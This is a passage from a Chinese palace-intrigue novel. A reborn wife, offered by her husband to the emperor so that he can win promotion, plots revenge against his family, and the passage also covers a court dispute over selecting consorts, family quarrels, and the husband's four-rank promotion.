薛嘉言系腰带的动作顿了顿,抬眼时恰好对上姜玄的目光。 他眼底还留着刚刚的情动,语气也带着几分纵容,像是在等着她开口索要。 她想要什么?当然是想要戚家死。 可她心里清楚,眼下还不到她跟姜玄索要的时候。 她垂下眼,对着姜玄屈膝行了半礼,声音柔和:“谢陛下,臣妇没什么可求的。” 这话出口的瞬间,方才还带着笑意的姜玄,嘴角的弧度骤然消失,原本温和的目光也冷了下来,他靠在榻上,声音沉了几分:“没什么可求的?” 薛嘉言心头一跳,姜玄的眉头已微微蹙起,眼底的情意尽数褪去,周身的气场也冷了下来。她不明白,不过是一句“没什么可求”,为何前一刻还和颜悦色的人,转眼就变了脸色。 薛嘉言攥紧了袖中的手,只能重新低下头,维持着温顺的姿态:“臣妇……臣妇只是觉得,能陪伴圣驾已是荣宠。” 姜玄一言不发,只是看着她,良久才冷哼一声,声音里带着几分不耐:“既如此,便随你。” 他挥了挥手,“穿好衣裳,让张鸿宝派人送你回去吧。” 姜玄这般忽冷忽热,捉摸不定,前世她便猜不透,如今重生一次,依旧不懂。 薛嘉言躬身应下,看着皇帝重新躺下,背对着她,显然是不愿再与她多说。薛嘉言只得跟着宫人走出寝殿时,心里暗暗骂了一句“狗皇帝,翻脸比翻书还快。” 翌日清晨,紫宸殿的气氛比往日沉了几分。姜玄坐在御座上,脸色自踏入殿门起就没舒展过,连带着看奏疏的眼神都冷了几分,好像那些奏疏也得罪了他一样。 早朝议事结束,几位大臣互视一眼,微微点头。 礼部尚书忽然出列,躬身道:“陛下,臣有一事启奏。陛下即位已一年有余,后宫空置,宗室与朝臣皆盼陛下早日选妃立后,繁衍皇嗣,以固国本。” 这话一出,几位老臣纷纷附和,礼部尚书王彦又道:“陛下,为皇家绵延子嗣,不仅是家事,更是国事。如今朝野安定,正该考虑此事,还请陛下三思。” 姜玄本就烦躁,此刻被大臣们围着提选妃,脸上冷意更甚。 “朕即位不久,西北异族虎视眈眈,漕运弊端待除,桩桩件件皆是要紧政事。选妃立后之事,日后再议,不必多言。” 他语气里的不耐显而易见,可几位老臣仍未退让,御史大夫申屠助又上前一步道:“陛下,政事与子嗣并不相悖。若皇家子嗣单薄,恐动摇宗室根基,还望陛下以大局为重……” 申屠助顿了顿,接着说道:“陛下,当年先帝像您这么大时,已有五位皇子皇女。如今陛下正值壮年,若能早日选妃立后,诞下皇子皇女,可稳固宗室根基,让天下臣民安心呐。” 姜玄冷着脸没说话,先帝子嗣算是丰盈,儿子就有七个,若不是有这么多儿子,只怕他还不会死那么早。 鸿胪寺卿闻圣杰也连忙附和道:“陛下,选秀并非一朝一夕便可完成,老臣愚见,不如先下令选秀,由礼部或内务府操办起来,等到明年便能选出不少闺秀入宫,一来陪伴陛下,二来孝敬太后。” 姜玄仍一言不发。 礼部尚书见状,再次躬身行礼,言辞恳切地说道:“陛下,臣等皆是为了陛下着想,为了这江山社稷着想。还望陛下以大局为重,顺应民意,早日定下此事。” “啪!” 一声脆响,众人皆惊,原来是龙案上一支笔落了下来,翡翠的笔杆撞到玉石地面,立刻碎裂。 张鸿宝赶紧给甘松使了个眼色,甘松轻手轻脚地走过去,小心地收拾。 这番变故,殿内刚刚还在议论的声音停了下来,众臣面面相觑,没有再开口。 姜玄沉声道:“朕说了,日后再议,退下吧。” 大臣们见皇帝动了怒,不敢再谏言,只能躬身退下。早朝结束,大臣们鱼贯而出时,皆能感受到殿内未散的戾气。 姜玄待众人走后,有些烦躁地捏了捏眉心,觉得头又开始疼了,刚要叫张鸿宝过来按按,殿外传来张鸿宝的通报声,打断了姜玄的思绪。 “太后娘娘驾到——” 第18章 恶语 姜玄深吸一口气,强压下烦躁,整理了一下衣摆。 很快,身着石青缀绣五凤纹宫装的太后走了进来,金丝点翠步摇随着她的步伐轻轻晃动,显得她整个人雍容华贵。 太后是孝贤皇太后的亲侄女,虽是武将家出身的贵女,姑侄俩都生得花容月貌,先后被封为先帝的皇后。 太后莲步轻移走到姜玄身侧,瞥了眼案上的奏疏,笑着走上前道:“哀家刚从御花园过来,就听见殿内动静不小,陛下这是又跟朝臣动怒了?” 姜玄起身对着太后行礼,语气缓和了些:“让母后见笑了,他们又提选妃的事了,朕有些烦。” 两人在殿内的软榻上坐下,宫人奉上新沏的茶水。太后端起茶盏,喝了一口,温声道:“哀家方才听张鸿宝说了。那些老臣也是一片忠心,为了大兖的未来着想。陛下不必为这点小事动气,伤了龙体反倒不值。” 姜玄端着茶盏的手顿了顿,以为太后也要劝他选妃,便道:“母后,朕并非不愿,只是如今政事繁杂,实在无暇顾及后宫之事。待日后匪患平息,漕运理顺,再议选妃也不迟。” 太后放下茶盏,语气中带着赞许:“陛下能以政事为重,哀家甚是欣慰。哀家当初力主让陛下登基,便是看中陛下有这份心系天下的胸襟,是个能担起江山的明君。” 姜玄猛地抬头,眼中闪过一丝惊讶。他没想到,太后在这件事上,竟也这般支持他。 姜玄生母本是偶然承宠的宫女,后来因被英妃牵连,打入冷宫,他自出生起就在冷宫里长大,直到生母病逝,宫人按例上报,先帝才记起有他这么个儿子。 十四岁从冷宫出来时,他想着能过得好一点便可以了,对于大位,他并不敢多想。没想到皇后一直悉心教导他,先帝病危时,皇后说属意他接下大兖的江山。 姜玄与他那些自幼有名师教导,又有母妃娘家支持的兄弟相比,并没有一丝胜算。 皇后是大将军宋郁林的亲妹妹,她背后有宋家支持,最后竟真的把姜玄推上了龙椅。 姜玄原以为宋家让他做皇帝,是因为他母族微弱到可以被忽视,相对其他皇兄更好把控,是准备让他做个傀儡皇帝。 没想到即位后,太后只垂帘听政了半年,手把手教姜玄处理政务,姜玄天资聪颖,处理政事很快便得心应手,太后就主动退居后宫,很少再管前朝之事。 太后的恩情,姜玄一直记在心里。此刻见太后不仅不反对他暂时不选妃,还赞他是明君,姜玄心中涌起一阵暖意,起身对着太后躬身行礼:“谢母后体谅与支持。” 太后看着姜玄越发英俊的脸庞,笑得和煦,温声道:“哀家知道你一心为了国事,只是你也不小了,宫里若有看得上眼的,夜里叫过去侍寝也是使得的,不要沉迷便是。” 姜玄听到太后说这话有些不自在,含糊应了一声。 太后又道:“你也别怪王彦他们心急,你毕竟也十九了,祖父孝文皇帝当年二十三岁才有一子,便是你父皇,当时时局动荡,差点动摇国本,老臣们也是担心。” 姜玄闻言蹙眉,他不是没想到这一层,正因为大臣们将他与皇祖父对比,才让他格外难受。 当初太后在教导姜玄为君之道时,说过皇祖父的事情。皇祖父励精图治,英明神武,本可以成为彪炳史册的明君,就因为男女关系一事,给他抹上了一层污渍。 据太后说,孝文皇帝后宫六位妃嫔,七八年间都无所出。后来一次宫宴醉酒,被人瞧见孝文皇帝搂着禁卫军统领虞良朋不撒手,虞良朋则态度暧昧,并未推拒。 当时的皇后在流言还未传播开时,果断用了媚药,就在流言甚嚣尘上时,皇后宣布自己怀有身孕。 这一胎破解了孝文皇帝好男风的流言,稳住了政局。 只是,孝文皇帝终生只有一子,待他年迈时,藩王动乱,以他好男风,根本不可能孕育皇嗣为由要篡权,经历了一番血雨腥风,先帝才登上帝位。 太后看出姜玄脸色不好,柔声安慰道:“你自然是与你祖父不同的,哀家知道你只是还没准备好,会有一天,你迫不及待想要选后的。” 说完这些,太后目光落在姜玄身上的朝服上,微微蹙眉:“如今虽已入春,却还是乍暖还寒,陛下怎么这么快就换了单衣。龙体要紧,万不可为了政务疏忽了保养。” 姜玄心中一暖,点头应道:“儿臣听母后的。” 戚家,薛嘉言的卧房里点了盏琉璃灯,她坐在梳妆台前,把皇帝昨日赏的首饰拿出来收好。 暖黄的光映着妆台上半开的妆匣,里面静静躺着皇帝这三次赏赐的首饰,有赤金嵌红宝耳坠、翡翠镯子、赤金点翠步摇,流光溢彩的首饰在灯下晃得人眼晕。 薛嘉言将首饰一一归置好,刚要合上妆匣,身后忽然传来极轻的脚步声,熟悉得让她心头一冷。 是戚少亭。 薛嘉言没有回头,瞧见那对赤金嵌红宝耳坠没有放好,可能会被步摇刮花了上头的红宝,她又收拾了一下。 戚少亭走到她身后,目光落在那半开的妆匣上,看着里面琳琅满目的首饰,喉结不自觉地滚动了一下。 短短十来日,皇帝已经宣了薛嘉言三次,每次回来都带着赏赐,可他呢? 当初送薛嘉言入宫,张鸿宝明里暗里的意思,都是皇上不会亏待他,可他至今什么都没捞到。 他一向是有耐心的,可再好的耐心,也经不住这般磋磨。 戚少亭盯着薛嘉言的背影,语气里淬着讥讽,像根毒刺般扎过去:“这么多,是皇帝给你的嫖资?” “嫖资”二字,像冰锥狠狠扎进薛嘉言心里。她浑身一僵,血液仿佛瞬间冻结。 前世戚少亭虽利用她,却从未说过这般下贱的话,只会用道德来压她;如今官位一直没有得到提升,竟连最后一点体面都不顾了。 她缓缓转过身,眼底没有半分温度,声音却平静得可怕:“是吗?那我下次入宫,便跟皇上说,夫君觉得皇上给的‘嫖资’丰厚,他很满意。” 第19章 没用的东西 戚少亭的脸瞬间涨红,胸口剧烈起伏。他怎么忘了,薛嘉言如今能直接面圣,真要是在皇帝面前说这么一句,别说升官,他现有的官位能不能保住都难说! 那点刚刚燃起的怒火,瞬间被恐惧压了下去。 他深吸一口气,硬生生压下心头的戾气,脸上挤出几分讨好的笑,声调也放软了,又恢复了一贯的温和:“嘉嘉,你别生气,我……我晚上喝多了,胡言乱语说的醉话。你别往心里去。” 见薛嘉言依旧冷着脸,他干脆往前凑了两步,“咚”的一声半跪在薛嘉言腿边,双手轻轻攥住她的裙摆,头也伏在了她的膝盖上。 下一刻,戚少亭压抑的呜咽声便传了出来:“嘉嘉,你不知道我心里多苦……我看着你入宫,夜里都睡不着觉,怕你受委屈,怕你被宫里人欺负。我……我那么心疼你,可我又没本事,帮不了你什么,只能眼睁睁看着你……” 他越哭越“伤心”,肩膀一抽一抽的,眼泪甚至沾湿了薛嘉言的裙摆。 薛嘉言垂着眼,看着伏在自己膝头痛哭的男人,只觉得一阵恶心。 她与他,也曾耳鬓厮磨,你侬我侬,她十六岁认识了戚少亭,十七岁嫁与他,他比她大五岁,处处照顾她,万事顺着她,又长得俊秀,她怎么会没有动过心呢? 隔了一世,薛嘉言早已清醒,戚少亭对她,完全就是利用。从前利用她的钱财为自己铺路,养活戚家人,过上富足生活;后来利用她高升,做人上人。 他对她,从没有过真情,若不然,怎么会主动与张鸿宝勾结,把自己的妻送上别人的床,哪怕那人是至高无上的帝王。 不过,看着戚少亭这般失落,不甘,薛嘉言的心情还是很不错的。 越是期待,越是失望,戚少亭如今日夜都活在煎熬里吧。这么看着戚少亭半真半假的演戏,还真挺有意思。 “夜里凉,别跪坏了身子,明日还要去衙门当差呢。” 戚少亭听到这话,知道她是消气了,心中一喜,哭声渐渐小了,却还故意磨蹭了片刻,才慢慢抬起头,眼眶红红地看着她:“嘉嘉,你真好……我以后再也不胡说了。” 戚少亭抬头细看薛嘉言,这一看,他呼吸骤然一滞。 不知为何,她越发娇美了,明明熬到现在还没睡,倒也不显得憔悴,脸颊红润,一副春睡刚醒的娇态。 这娇美,是沾了皇帝的光吧?是宫里的锦衣玉食、龙涎香熏出来的,还是皇帝与床笫间激情碰撞出来的? 戚少亭心里像被针扎了似的,又酸又恨。 这是他的妻子!是他戚少亭明媒正娶的女人!如今却因着另一个男人变得这般光彩照人。 他咽了咽口水,压下眼底的阴鸷,站起来将薛嘉言拦腰抱住。 他的手臂收得极紧,像是要将她揉进自己骨血里,带着一种近乎掠夺的急切,拥着她往床边走,压低的声音里掺着欲望与不甘:“嘉嘉,咱们许久不曾欢爱了……” 薛嘉言浑身瞬间僵住,后背贴着他温热的胸膛,却只觉得一阵刺骨的寒意。 她猛地抬手,抓紧了戚少亭的胳膊,指甲几乎要嵌进他的肉里,冷声道:“你当真要来?” 戚少亭的动作顿了顿,还想再说些软话哄骗,就听见薛嘉言接着道:“皇上跟我说,他不肯跟旁人共享女人。在他厌了我之前,你不许再碰我分毫。” “轰”的一声,戚少亭脑子里像是炸开了。 他抱着薛嘉言的手猛地僵住,原本涌上来的欲望瞬间被浇得精光,只剩下满心的震惊与羞愤。 他已经将人拥到了床边,床幔的流苏都扫到了他的手背,可此刻却像被施了定身咒,一动不动。 戚少亭呼哧呼哧地喘着粗气,胸口剧烈起伏,脸涨得通红,眼底满是血丝。 这是他的妻!是他八抬大轿娶进门的妻子!凭什么皇帝一句话,就能不许他碰自己的女人?凭什么那个九五之尊,就能这般霸道地夺走他的所有物? 他心里恨得牙痒痒,恨皇帝的专横,恨皇帝占了他的妻子还断他的念想;更恨薛嘉言!恨她拿着皇帝的话来压他,恨她对着那个男人温顺服帖,对着自己却这般冷漠强硬! 可他能怎么办呢? 戚少亭的手一点点松开,力道从急切变得无力,最后彻底垂了下去。 他往后退了一步,张了张嘴,想骂,想质问,却最终只憋出一口浊气,喉咙里像堵住,一个字都说不出来。 薛嘉言原本有些紧张,她怕戚少亭不管不顾地要同她敦伦,好在戚少亭被她的话吓住,当真松开了手。 她松了一口气,看着戚少亭失魂落魄地走出去,这才换了衣裳上床睡觉。 天刚蒙蒙亮,戚少亭已穿着那身半旧的从七品青袍走了出来。他眼底满是红血丝,昨夜一夜几乎没合眼,脑子里翻来覆去都是薛嘉言与皇帝,每想一次,心口的恨意就多一分。 他烦躁的抬手扯了扯领口,脸色沉得像要下雨。 “亭儿!你等等!” 身后忽然传来栾氏的声音,她穿着一身新做的宝蓝布裙,发髻上还插了支薛嘉言年前送的金簪,脚步匆匆追了上来,伸手拉住了戚少亭的袖子。 戚少亭脚步一顿,眉头瞬间蹙起,语气里有些许的不耐:“娘有事?我得去衙门点卯,晚了可不好。” “点卯急什么!我问你个事!” 栾氏左右看了看,见院门口只有两个洒扫的仆妇,才压低声音,语气里满是抱怨,“你屋里那个薛氏怎么回事?自打元宵节过后,就没见她早起给我请过安!以前她可不是这样的,你也不管管她!” 这事戚倩蓉前几日就跟他提过,薛嘉言当时说“近来身子不适,怕扰了母亲清净”。 身子不适?他想起昨夜薛嘉言那副带着春态的娇美模样,心底的火气又冒了上来。 分明是夜里应付皇帝应付的累了,早上起不来床,倒拿“身子不适”当借口! 戚少亭扯了扯衣袖,甩开栾氏的手,语气更不耐烦了:“以前咱们住大杂院的时候,小妹不也天天睡到日晒三竿,您怎么没让她早起请安?” 他顿了顿,眼神里带着几分自嘲,又带着几分压抑的火气,“我如今不过是个七品的经历,在京城连个官也算不上,你也少学点官家太太的做派吧。” 栾氏被他怼得一愣,脸上的抱怨瞬间变成了愕然。她没想到儿子竟然会站在薛嘉言那边,还反过来数落她! 她气得脸都白了,伸手在戚少亭胳膊上狠狠拧了一下:“你这没用的东西!娶了媳妇忘了娘是不是?我看你早晚要被她骑在头上!” 戚少亭猛地提高声音,眼底的红血丝更明显了,“娘,咱们不过是普通人家,您就少耍点威风吧!” 说完,他再也不看栾氏,狠狠一甩袖子,大步朝着门口走去。 栾氏站在原地,看着他的背影,气得直跺脚,最后对着他的背影啐了一口,低声骂道:“没用的东西!连媳妇都管不住,也不跟你爹学学!” 第20章 成了 事情并不如薛嘉言想的那般顺利,头一日在羊汤馆磨磨蹭蹭等了半个时辰,薛嘉言也没看到苗菁的身影。 第二日辰时刚过,她便带着司春又来了,刚踏进馆门,浓郁的羊肉香气就裹着热气扑过来,让她瞬间忘了昨日的小失落。 “掌柜的,来一碗羊汤,多加葱花!” 薛嘉言找了个对着门的位置坐下,又补充道,“再来两个芝麻烧饼、一碟葱爆羊肉,烧羊杂和烤羊肉也各来一份。” 她本就偏爱羊肉,这家“王记”的羊汤熬得够久,汤色乳白,羊肉炖得酥烂不柴,很对她的胃口。 不多时,小二已端着羊汤过来,薛嘉言掰了半块芝麻烧饼放进汤里,等烧饼吸满汤汁,一口咬下去,外软内韧,满是肉香,不由得眯起了眼,连带着心情都更畅快了。 她正吃得香甜,瞥见门口进来三个穿着飞鱼服的男子。走在中间的那人身材高大,肩背挺直,眉眼间带着几分锐利,正是苗菁。 薛嘉言的筷子顿了顿,只飞快地瞥了一眼就收回目光,仿佛只是无意间扫过,继续跟司春说话:“这烤羊肉外焦里嫩,真好吃,你去让他们再做一份,少放点盐,带回去给棠姐儿吃。” 苗菁三人进了门,在距离薛嘉言不远的桌子坐下,跟小二要了几样吃食。 三人等上菜的间隙,眼角余光瞥见了薛嘉言。元宝胡同附近多是官员宅邸和锦衣卫值房,来来往往的面孔苗菁大多眼熟,这女子却瞧着面生。 出于锦衣卫的谨慎,苗菁和身旁两人都多打量了她两眼。可看她浑然不觉,只顾着跟侍女说笑,夹起一块葱爆羊肉吃得满足,连嘴角沾了酱汁都没在意,那点因“面生”而起的猜疑,渐渐就散了。 薛嘉言吃得差不多了,放下筷子,笑着跟司春说:“真好吃,比金穗楼做的还好吃。金穗楼的羊肉虽嫩,却少了点烟火气,还是这家地道。明儿我还要来吃。” 她说得自然,像是纯粹在跟侍女分享口味,没刻意压低声音,却也没故意放大,刚好能让邻桌的苗菁几人听见。 说完,她从袖中掏出那方月白帕子,指尖捏着帕角,轻轻擦拭唇角的酱汁。 帕子虽垂着时,一角的“白鹭孤影”水影绣图案却也能窥到些许,郭晓芸手艺好,绣得灵动,帕子晃动间,像是水面闪起波光。 苗菁原本正端着茶杯喝茶,眼角余光瞥见那方帕子,手中的茶杯猛地一顿,瞳孔骤然一缩,目光瞬间就被那帕角的水影绣吸住了。 他看得太入神,眼神直愣愣地落在帕子上,连带着眉头都微微蹙起,像是在思索什么。 薛嘉言擦完嘴,刚要把帕子收回袖中,就察觉到了这道过于专注的目光。她抬起头,正好对上苗菁的视线,当即皱了皱眉,轻轻瞪了他一眼,眼底带着几分被陌生人盯着的不悦,像是很不满苗菁的无礼。 苗菁身旁的两人见状,都忍不住低笑起来,其中一人用胳膊肘戳了戳他,打趣道:“大人,您把人都看生气了!” 苗菁这才回过神,意识到自己失态了,连忙收回目光,端起茶杯抿了一口,掩饰住眼底的疑惑。 他悄悄又瞥了薛嘉言一眼,见她已让丫鬟去跟伙计要油纸,准备把剩下的烤羊肉打包,神色已恢复如常。 薛嘉言没再看苗菁,等司春拿了油纸回来,仔细把烤羊肉包好,又付了钱,才带着司春从容地走出了羊汤馆。 走到巷口时,她悄悄回头望了一眼羊汤馆的方向,眼底闪过一丝微光。 第一步,成了。 接下来的两日,薛嘉言并没有什么动作,苗菁多疑,只怕已经派人暗中在查她,她马上就去郭晓芸那里,显得太过刻意。 这日娘家派了人来说,他们老两口已经准备好要去丹阳了,薛嘉言赶紧带着棠姐儿去给父母送行。 送完父母,薛嘉言回到家,刚歇了一会,司春进来,悄悄在她耳边说道:”奶奶,张总管让人递了话来,说是晚上要接您。“ 薛嘉言嗯了一声,让司春去备水,她要好好沐浴一番。 薛嘉言坐在浴桶里,温热的水漫过肩头,她抚着身上白皙细腻的肌肤,想起前世姜玄夸她“凝脂肤理腻,削玉腰围瘦”。 他似乎很喜欢她的肌肤,薛嘉言便叫司春拿了香膏过来,将膝盖、胳膊肘这些地方仔细揉上香膏,摸起来更丝滑。 薛嘉言进入皇城时,天已全黑。甘松引着她穿过长宜宫的回廊,直奔寝殿,先带她去偏厢换了衣裳。 姜玄坐在窗边的软榻上看书,青灰色常服衬得他肩背愈发瘦削挺拔。听到脚步声,他抬眼看来,将书随手放在案上,指尖敲了敲榻边的空位:“过来。” 薛嘉言依言走近,刚站定,就被他伸手拉进怀里。温热的气息裹着龙涎香的味道,他下巴抵在她发顶,声音带着几分慵懒:“有些日子没见,想朕了吗?” 薛嘉言靠在他胸口,手指轻轻攥着他的衣摆,声音柔得像水:“想的。” 她心里却在冷笑,当然想啊,想的是你这狗皇帝何时能把我真放在心上,好让我早日借你的手,把戚家人全弄死。 姜玄似乎很受用这个答案,唇角勾起淡淡的笑,指尖摩挲着她的耳垂:“朕倒没瞧出来,前几日让你提要求,你不是什么都不要?” 薛嘉言心头一动,知道他还记着上次的事,忙抬头蹭了蹭他的下颌,带着点撒娇的意味:“陛下的恩宠,便是最好的赏赐,我不敢再贪心。” 这话半真半假,眼下却不好分辨。 薛嘉言在姜玄怀里坐了一会,见他不似前两次那般急切,她却没耐心再耗下去。 姜玄每次都要弄很久,夜里时间有限,她得早点回去,以防露了马脚,狗皇帝怎么还不开始? 薛嘉言决定不再等待,指尖悄悄勾住姜玄的衣扣,轻轻一扯。 第21章 不知遮掩 寝殿内的气温渐渐升高,烛火摇曳着映在帐幔上。 薛嘉言被他压在身下,恍惚间察觉到他的目光不时往斜前方瞟,心里纳闷,顺着他的视线抬眼。 这一看,她浑身的血瞬间涌到脸上,连耳尖都红透了! 不远处的墙边,竟立着一面一人高的穿衣镜!镜面擦得光亮,将榻上的景象照得清清楚楚。 姜玄的手正覆在她的腰间,两人的一举一动、她脸上的羞赧,全都明晃晃地映在镜中。 薛嘉言又羞又窘,转过脸去,镜中只留下她的背影。 姜玄低头在她耳边轻笑,声音沙哑带着情动:“转过来,让朕好好看看你……” 薛嘉言咬着唇,羞臊得说不出话,却不肯听他的话转过去。 姜玄见她不肯,也没有强求,反正他刚刚已经看过了,看过她脸颊绯红,眼神迷蒙,浑身都泛着淡粉,沉溺在与他的欢情中。 …… 薛嘉言的反应大大取悦了姜玄,他想,她至少是喜欢他的身体吧。 薛嘉言揉了揉酸楚的腰,看了眼一片狼藉的床榻,别过发烫的脸颊,准备去穿衣裳。 姜玄却把她搂在怀里,哑声道:“不忙,再陪朕一会儿。” 薛嘉言嗫嚅着道:“被褥该换了,臣妇不耽误陛下休息。” 姜玄忽地笑出声,站起来抱着薛嘉言往里走,低声道:“不要紧,里面还有一张榻。” 薛嘉言并不想跟皇帝温存,她只想快些穿了衣裳离宫。虽说她这一世已经看开,不会被名声所累,可到底还是谨慎些,不暴露的好。 姜玄却没察觉她的心思,温热的手掌仍在她腰际轻轻摩挲,唇瓣贴着她的耳廓,气息带着刚经历情事的慵懒,弄得她半边身子都酥麻起来 “你来这里,戚少亭没有给你脸色看吧?”他低声问。 薛嘉言闻言,心思转了两圈。 上次皇帝问要不要给戚少亭升官,她已说过“家庭和睦,夫君知足常乐”,此刻若突然说戚少亭不好,则会前后矛盾;再者,男人都有占有欲,若听她夸戚少亭,只会更不悦,自然也不会再给戚少亭半分机会。 想通这层,她侧过身,语气带着几分刻意的柔和:“陛下多虑了。夫君性子本就温和,待我一贯温柔。知道臣妇是入宫伴驾,待臣妇反倒比从前更体贴些,每日还会让厨房给臣妾炖些补汤。” 姜玄抱着薛嘉言的手臂突然收紧,力道大得让她微微蹙眉。 姜玄的呼吸似乎急躁了些,垂眼时目光恰好落在她的半敞的胸口,那里留着一块淡红的痕,是方才他动作急切时留下的。 她此刻夸戚少亭“温柔体贴”,是在暗指他太过粗鲁?比不得戚少亭温柔? 一股莫名的怒火瞬间窜上姜玄心头,他猛地松开手,将薛嘉言往榻边一推,力道之大让她险些摔下去床去。 “你走吧!” 姜玄的声音冷得像冰,没再看她一眼,站起来转身就往净房方向走。 薛嘉言坐在榻上,愣了片刻才回过神。 她预想过姜玄会不悦,会像上次那样冷脸,却没料到他反应这么激烈。 不过是夸了戚少亭两句,竟直接赶人?她揉了揉被攥得有些疼的胳膊,心里暗骂“狗皇帝又变脸”。 时辰不早了,她不敢耽搁,飞快地抓起散落的衣裳往身上穿。 等薛嘉言整理好衣裳,姜玄还没从净房出来。她对着净房的方向屈膝行了半礼,声音平静:“臣妇告退。”说完,便转身快步走出寝殿。 天边已泛出淡青的鱼肚白,晨雾裹挟而来,薛嘉言的裙摆都带了些湿意。 她从马车下来时,腿脚还有些发软。那面穿衣镜着实误事,让帝王忘了时辰,等她得以脱身,竟已近破晓。 后门的铜环轻叩三声,阿吉揉着惺忪的睡眼开门。 薛嘉言脚步放得极轻,顺着青石板路往春和院走。 刚转过木香花架,前方忽然立着一道身影,栾氏穿着件墨绿夹袄,鬓发用一支银簪松松挽着,正背对着她站在花园里。 薛嘉言心头一紧,脚步顿住,却已来不及避开,只能硬着头皮走上前,低声道:“母亲,您怎么起这么早?” 栾氏转过身,眼底带着熬夜的红血丝,脸色本就难看,见了薛嘉言,眉头更是拧成了疙瘩。 她这些日子正逢脏躁,夜里翻来覆去睡不着,天不亮就来花园透气,没成想竟撞见了薛嘉言。 之前薛嘉言总说“身子不适”,连晨昏定省都免了,如今倒好,大清早地在花园里晃荡,哪里像是不舒服的样子? “睡不着,出来逛逛。” 栾氏说着话上下打量着薛嘉言,“你怎么也在这里?不是说身子不好,怎么不多睡会?” 薛嘉言面上平静,“跟您一样,夜里没睡好,想着出来透透气。您接着逛,我身子还有些乏,先回房了。”她说着,微微屈膝,从栾氏身旁侧身走过。衣摆生风,带起一阵淡淡的香气。 栾氏蹙眉,总觉得事情不大对劲,薛嘉言身上的香味有点陌生。 她就在花园里等着,等戚少亭穿了官服出来,她上前拉着戚少亭,手指往春和院的方向指了指,压低声音道:“你媳妇是不是有什么事瞒着我们?方才天不亮我在花园撞见她,身上还带着股奇怪的香味,她不是说身子不适吗?怎么反倒早起逛花园?” 戚少亭心里“咯噔”一下,脸上却瞬间沉了下来,低声呵斥:“哪有什么事?母亲您就是想多了!她身子不适是真,许是夜里闷得慌,早起透透气罢了。您就别添乱了,我还得去衙门点卯!” 他嘴上这么说,心里却憋得厉害,本已走出几步,又猛地转身,快步折回春和院,推开房门时,薛嘉言正侧躺着,似是睡着了。 戚少亭心头的火气瞬间窜上来,上前一把抓住她的胳膊,将她往里一推,冷声道:“你就不能遮掩遮掩?天快亮了才回来,当谁是傻子?早晚得露出行迹来!你不嫌丢人,我还嫌丢人呢!” 薛嘉言被他推得撞在床板上,手肘传来一阵钝痛。 她缓缓坐起身,垂下眼眸,一副无所谓的模样,低低道:“不是夫君要我去的吗?既嫌丢人,当初我要死,你怎么不让?” 她看着戚少亭瞬间僵硬的脸色,心里冷笑——是他亲手把她送进宫的,如今倒嫌她丢人,真是可笑至极。 想着靠献妻求荣,如今没有升官,这就恼羞成怒了。 戚少亭被她的话噎住,脸色青一阵白一阵。他只觉得自己要被憋死了,却不能对薛嘉言发火,呼哧呼哧喘着粗气,一双眼睛死死盯着薛嘉言,一直到隔壁的棠姐儿发出声音,似乎是醒了,戚少亭才拂袖而去。 第22章 升官! 薛嘉言看着戚少亭的背影消失,嗤笑一声,接着睡觉。 日头升到窗棂正中时,薛嘉言才从床上醒来。她昨夜疲累,这一觉睡得格外沉。 薛嘉言刚坐起身,肚子就“咕咕”叫了两声,昨夜在宫里与姜玄混闹了那么久,这会儿是真饿了。 “奶奶醒了?” 司春端着铜盆进来,里面盛着温热的洗漱水,“厨房一早炖了当归羊肉煲,知道奶奶爱吃,一直温着呢,我这就去让他们端来?” 薛嘉言接过帕子擦脸,笑着道:“还是你最知道我的口味。昨儿上的酱黄瓜不错,解腻,你让厨房加一碟子过来。” 不多时,饭菜就摆上了桌。荤素、点心林林总总七八样,中间是一锅当归羊肉煲,还冒着热气,羊肉炖得软烂,汤汁泛着浓郁的奶白色,撒上一把葱花,香气瞬间弥漫了整个屋子。 薛嘉言连肉带汤一小碗羊肉煲,额角都沁出了薄汗,脸上尽是满足。 她想起早上戚少亭那副憋得满脸通红、却不敢对她发作的窝囊样,嘴角忍不住上扬。 她可太喜欢这出戏了,马上杀死戚少亭,都不如让他这般煎熬好。这才多少时日啊,戚少亭肉眼可见的憔悴了,想来是吃不好睡不好,她想想都想笑出声来。 饭后,薛嘉言翻出妆匣,见里头已经堆得满满的,便把里面几样不常戴的首饰拣出来,递给一旁的司春和司雨:“这些你们拿去分了吧。” 司春和司雨是吕家的家生子,自小跟着她,忠心耿耿,是她在戚家最信任的人。 两人连忙道谢,小心翼翼地收了首饰,眼底满是感激。 这般轻松的心情,薛嘉言只维持了两日。第三日,她便听到了一个让她震惊和气愤的消息。 酉时过半,院门外传来戚少亭的脚步声,比往日轻快了许多。他刚进院子,就扬着声音吩咐司春:“司春,快去让厨房加几个硬菜,再温一壶好酒,今晚全家都到太太房里吃,咱们庆贺庆贺!” 司春愣了愣,连忙问道:“爷今日怎么这么高兴?可是有什么喜事?” 戚少亭捋了捋衣襟,脸上的笑意藏都藏不住,他瞥了眼坐在窗边看书的薛嘉言,语气里满是得意:“你家爷升官了!从今往后,我就是鸿胪寺丞了!” 戚少亭实在太高兴,走到厢房把正在玩布老虎的棠姐儿抱起来,不住地转圈,嘴里说着:“棠姐儿,爹爹升官了,你高不高兴啊……” 棠姐儿小小人儿哪里知道什么是升官,见爹爹露出笑脸,她也跟着笑起来,顺着爹爹的话说:“高兴!” 戚少亭哈哈大笑,抱着棠姐儿亲了一口。 薛嘉言猛地抓紧手中的书,心脏像是被一只无形的手攥紧,呼吸都滞了半分。 鸿胪寺丞是从五品,而戚少亭之前不过是从七品的顺天府经历,又是如同前世一样,连升四级! 她强压下心头的震惊与翻涌的怒火,尽量保持平静,心里却早已燃起怒火。 她明明跟姜玄说过,只求戚少亭做个闲散小官,不必升官,姜玄当时虽脸色难看,却也没反驳,为何如今突然给戚少亭升官? 姜玄是故意跟她作对,还是另有算计?她恨不得此刻就冲进皇宫,当面质问那个反复无常的狗皇帝,为何要毁了她的筹谋! 可她不能。 眼下她只能等着狗皇帝召唤,根本没有门路自己进宫,更何况,到了宫里,她真的把皇帝骂一顿吗? 薛嘉言颓然地攥紧了手,她还没有那么莽撞。 她也没有心思替戚少亭庆贺,借口身体不适不去吃饭。这是戚家人的喜事,却不是她的。 戚少亭一改前些日子的阴郁,十分关切地问:“嘉嘉,你怎么了,要不要请张大夫来看看。” “不用,只是有些胀气,吃不下饭。”薛嘉言淡淡说着。 戚少亭并没有当回事,他的妻子,不可能不为他升官高兴的,应当真是身体有些不舒服。 他坐在薛嘉言身旁,搂住她的肩膀,又似从前那般温柔着说:“嘉嘉,谢谢你,我知道,都是你的功劳。” 